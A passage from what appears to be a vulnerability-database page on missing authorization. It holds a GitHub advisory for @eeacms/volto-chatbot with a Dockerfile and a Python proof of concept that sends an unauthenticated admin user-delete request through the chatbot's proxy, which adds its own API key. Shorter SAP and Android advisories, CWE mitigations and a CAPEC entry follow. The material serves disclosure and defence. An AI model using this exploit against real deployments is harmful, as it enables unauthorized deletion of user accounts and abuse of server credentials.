Proxy\n#\n# Build context: the parent directory (npmAI_719_eea__volto-chatbot/)\n# docker build -f vuln-001/Dockerfile -t vuln001-proxy .\n#\n# Run:\n# docker run --rm -p 3000:3000 vuln001-proxy\n\nFROM node:18-alpine\n\nWORKDIR /app\n\n# Install production dependencies required by the vulnerable middleware and test harness\nRUN npm init -y \u0026\u0026 npm install --save \\\n express@4 \\\n superagent@8 \\\n node-fetch@2 \\\n debug@4 \\\n @babel/core@7 \\\n @babel/register@7 \\\n @babel/preset-env@7\n\n# Copy the vulnerable middleware source (unmodified from repo)\nCOPY repo/src/middleware.js /app/src/middleware.js\n\n# Copy the test harness\nCOPY vuln-001/test_server.js /app/test_server.js\n\n# Point the proxy at the in-container mock Danswer server.\n# DANSWER_API_KEY is the secret the server attaches to every upstream request.\nENV DANSWER_URL=http://127.0.0.1:18080\nENV DANSWER_API_KEY=supersecret\n\nEXPOSE 3000\n\nCMD [\"node\", \"test_server.js\"]\n```\n\n#### `poc.py`\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nProof-of-Concept: VULN-001\nTitle: Unauthenticated Danswer API Confused Deputy Proxy\nCWE: CWE-862 \u2014 Missing Authorization\nCVSS: 8.2 (High) CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N\n\nVulnerability:\n src/index.js:15 registers middleware.all(\u0027**/_v1_da/**\u0027, proxyMiddleware)\n with NO authentication guard. src/middleware.js:228-230 derives the\n upstream Danswer API path directly from req.url without any allowlist,\n then attaches the server-side DANSWER_API_KEY (or session cookie) before\n calling fetch(). An unauthenticated attacker therefore controls:\n - the upstream Danswer API path (e.g. /admin/users/delete)\n - the HTTP method (POST, DELETE, \u2026)\n - the request body\n while the server silently adds its own credentials.\n\nExploit flow:\n Attacker --(unauthenticated POST /_v1_da/admin/users/delete)--\u003e Volto proxy\n Volto proxy --(POST /api/admin/users/delete Authorization: Bearer \u003ckey\u003e)--\u003e Danswer\n\nUsage:\n python3 poc.py [proxy_host] [proxy_port]\n Default: 127.0.0.1 3000\n\"\"\"\n\nimport json\nimport socket\nimport sys\nimport time\n\nimport requests\n\n# \u2500\u2500 Configuration \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\nPROXY_HOST = sys.argv[1] if len(sys.argv) \u003e 1 else \"127.0.0.1\"\nPROXY_PORT = int(sys.argv[2]) if len(sys.argv) \u003e 2 else 3000\nPROXY_BASE = f\"http://{PROXY_HOST}:{PROXY_PORT}\"\n\n# Attacker-chosen admin-only endpoint \u2014 no credentials sent by the client.\nATTACK_PATH = \"/_v1_da/admin/users/delete\"\nATTACK_PAYLOAD = {\"id\": \"victim-user-123\"}\n\n\n# \u2500\u2500 Helpers \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\ndef wait_for_port(host: str, port: int, timeout: int = 40) -\u003e bool:\n \"\"\"Return True when a TCP connection succeeds within *timeout* seconds.\"\"\"\n deadline = time.monotonic() + timeout\n while time.monotonic() \u003c deadline:\n try:\n with socket.create_connection((host, port), timeout=1):\n return True\n except OSError:\n time.sleep(1)\n return False\n\n\ndef run_exploit() -\u003e bool:\n print(\"=\" * 64)\n print(\"VULN-001 PoC \u2014 Unauthenticated Danswer API Confused Deputy Proxy\")\n print(\"=\" * 64)\n print(f\"[*] Proxy base : {PROXY_BASE}\")\n print(f\"[*] Attack path : {ATTACK_PATH}\")\n print(f\"[*] Attack body : {json.dumps(ATTACK_PAYLOAD)}\")\n print(f\"[*] No client auth headers will be sent.\")\n print()\n\n # Wait for the proxy server to accept connections.\n print(f\"[*] Waiting for proxy on {PROXY_HOST}:{PROXY_PORT} ...\")\n if not wait_for_port(PROXY_HOST, PROXY_PORT, timeout=40):\n print(\"[-] Proxy did not become reachable within 40 s. FAIL.\")\n return False\n print(\"[+] Proxy is reachable.\")\n\n # Additional brief wait to let the Node event loop fully initialise.\n time.sleep(1)\n\n # Send the exploit request \u2014 zero client-side authentication.\n exploit_url = f\"{PROXY_BASE}{ATTACK_PATH}\"\n print(f\"[*] Sending unauthenticated POST \u2192 {exploit_url}\")\n try:\n resp = requests.post(\n exploit_url,\n json=ATTACK_PAYLOAD,\n headers={\"Content-Type\": \"application/json\"},\n timeout=20,\n )\n except requests.exceptions.RequestException as exc:\n print(f\"[-] HTTP request failed: {exc}\")\n return False\n\n print(f\"[*] HTTP status : {resp.status_code}\")\n print(f\"[*] HTTP body : {resp.text[:800]}\")\n print()\n\n # Parse the echo from the mock Danswer server.\n try:\n body = resp.json()\n except ValueError:\n print(\"[-] Response is not valid JSON \u2014 cannot verify exploit. FAIL.\")\n return False\n\n auth_header = body.get(\"authorization\") or \"\"\n upstream_url = body.get(\"url\") or \"\"\n method = body.get(\"method\") or \"\"\n\n print(\"[*] Fields echoed by mock Danswer upstream:\")\n print(f\" method : {method!r}\")\n print(f\" url : {upstream_url!r}\")\n print(f\" authorization : {auth_header!r}\")\n print()\n\n # Decisive evidence criteria:\n # 1. Attacker-supplied path reached the upstream server.\n # 2. Server-side API key was attached without any client credential.\n # 3. Attacker-supplied HTTP method was forwarded.\n path_proxied = \"/api/admin/users/delete\" in upstream_url\n cred_attached = \"Bearer supersecret\" in auth_header\n method_correct = method == \"POST\"\n\n if path_proxied and cred_attached and method_correct:\n print(\"[+] === EXPLOIT CONFIRMED \u2014 PASS ===\")\n print(\"[+] Decisive evidence:\")\n print(f\" 1. Attacker-controlled path reached upstream : url={upstream_url!r}\")\n print(f\" 2. Server-side API key forwarded (no client auth) : authorization={auth_header!r}\")\n print(f\" 3. Attacker-controlled HTTP method forwarded : method={method!r}\")\n return True\n else:\n print(\"[-] === EXPLOIT NOT CONFIRMED \u2014 FAIL ===\")\n if not path_proxied:\n print(f\" MISSING: /api/admin/users/delete not found in url={upstream_url!r}\")\n if not cred_attached:\n print(f\" MISSING: \u0027Bearer supersecret\u0027 not found in authorization={auth_header!r}\")\n if not method_correct:\n print(f\" MISSING: expected method=POST, got {method!r}\")\n return False\n\n\nif __name__ == \"__main__\":\n success = run_exploit()\n sys.exit(0 if success else 1)\n```",
"id": "GHSA-w9x9-j56r-h98r",
"modified": "2026-10-29T16:35:48Z",
"published": "2026-10-29T16:35:48Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/eea/volto-chatbot/security/advisories/GHSA-w9x9-j56r-h98r"
},
{
"type": "WEB",
"url": "https://github.com/eea/volto-chatbot/commit/eaf18b7c0f23560086b300bf0c5e62f9f76ad7b0"
},
{
"type": "PACKAGE",
"url": "https://github.com/eea/volto-chatbot"
},
{
"type": "WEB",
"url": "https://github.com/eea/volto-chatbot/releases/tag/2.0.4"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "@eeacms/volto-chatbot has Unauthenticated Danswer API Confused Deputy Proxy"
}
GHSA-W9XW-RR57-FJ54
Vulnerability from github – Published: 2022-12-13 06:30 – Updated: 2022-12-15 15:32An unauthenticated attacker over the network can attach to an open interface exposed through JNDI by the User Defined Search (UDS) of SAP NetWeaver Process Integration (PI) - version 7.50 and make use of an open naming and directory API to access services which can be used to perform unauthorized operations affecting users and data across the entire system. This allows the attacker to have full read access to user data, make limited modifications to user data, and degrade the performance of the system, leading to a high impact on confidentiality and a limited impact on the availability and integrity of the application.
{
"affected": [],
"aliases": [
"CVE-2022-41272"
],
"database_specific": {
"cwe_ids": [
"CWE-862",
"CWE-89"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-12-13T04:15:00Z",
"severity": "HIGH"
},
"details": "An unauthenticated attacker over the network can attach to an open interface exposed through JNDI by the User Defined Search (UDS) of SAP NetWeaver Process Integration (PI) - version 7.50 and make use of an open naming and directory API to access services which can be used to perform unauthorized operations affecting users and data across the entire system. This allows the attacker to have full read access to user data, make limited modifications to user data, and degrade the performance of the system, leading to a high impact on confidentiality and a limited impact on the availability and integrity of the application.",
"id": "GHSA-w9xw-rr57-fj54",
"modified": "2022-12-15T15:32:12Z",
"published": "2022-12-13T06:30:17Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-41272"
},
{
"type": "WEB",
"url": "https://launchpad.support.sap.com/#/notes/3273480"
},
{
"type": "WEB",
"url": "https://www.sap.com/documents/2022/02/fa865ea4-167e-0010-bca6-c68f7e60039b.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-WC2C-5C2H-J55F
Vulnerability from github – Published: 2026-09-08 21:34 – Updated: 2026-09-10 15:32In multiple functions of NfcService.java, there is a possible silent payment session hijacking enablement due to a missing permission check. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.
{
"affected": [],
"aliases": [
"CVE-2026-28611"
],
"database_specific": {
"cwe_ids": [
"CWE-862"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-09-08T19:17:53Z",
"severity": "HIGH"
},
"details": "In multiple functions of NfcService.java, there is a possible silent payment session hijacking enablement due to a missing permission check. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.",
"id": "GHSA-wc2c-5c2h-j55f",
"modified": "2026-09-10T15:32:59Z",
"published": "2026-09-08T21:34:14Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-28611"
},
{
"type": "WEB",
"url": "https://source.android.com/docs/security/bulletin/2026/2026-09-01"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
Mitigation
- Divide the product into anonymous, normal, privileged, and administrative areas. Reduce the attack surface by carefully mapping roles with data and functionality. Use role-based access control (RBAC) [REF-229] to enforce the roles at the appropriate boundaries.
- Note that this approach may not protect against horizontal authorization, i.e., it will not protect a user from attacking others with the same role.
Mitigation
Ensure that access control checks are performed related to the business logic. These checks may be different than the access control checks that are applied to more generic resources such as files, connections, processes, memory, and database records. For example, a database may restrict access for medical records to a specific database user, but each record might only be intended to be accessible to the patient and the patient's doctor [REF-7].
Mitigation MIT-4.4
Strategy: Libraries or Frameworks
- Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.
- For example, consider using authorization frameworks such as the JAAS Authorization Framework [REF-233] and the OWASP ESAPI Access Control feature [REF-45].
Mitigation
- For web applications, make sure that the access control mechanism is enforced correctly at the server side on every page. Users should not be able to access any unauthorized functionality or information by simply requesting direct access to that page.
- One way to do this is to ensure that all pages containing sensitive information are not cached, and that all such pages restrict access to requests that are accompanied by an active and authenticated session token associated with a user who has the required permissions to access that page.
Mitigation
Use the access control capabilities of your operating system and server environment and define your access control lists accordingly. Use a "default deny" policy when defining these ACLs.
CAPEC-665: Exploitation of Thunderbolt Protection Flaws
An adversary leverages a firmware weakness within the Thunderbolt protocol, on a computing device to manipulate Thunderbolt controller firmware in order to exploit vulnerabilities in the implementation of authorization and verification schemes within Thunderbolt protection mechanisms. Upon gaining physical access to a target device, the adversary conducts high-level firmware manipulation of the victim Thunderbolt controller SPI (Serial Peripheral Interface) flash, through the use of a SPI Programing device and an external Thunderbolt device, typically as the target device is booting up. If successful, this allows the adversary to modify memory, subvert authentication mechanisms, spoof identities and content, and extract data and memory from the target device. Currently 7 major vulnerabilities exist within Thunderbolt protocol with 9 attack vectors as noted in the Execution Flow.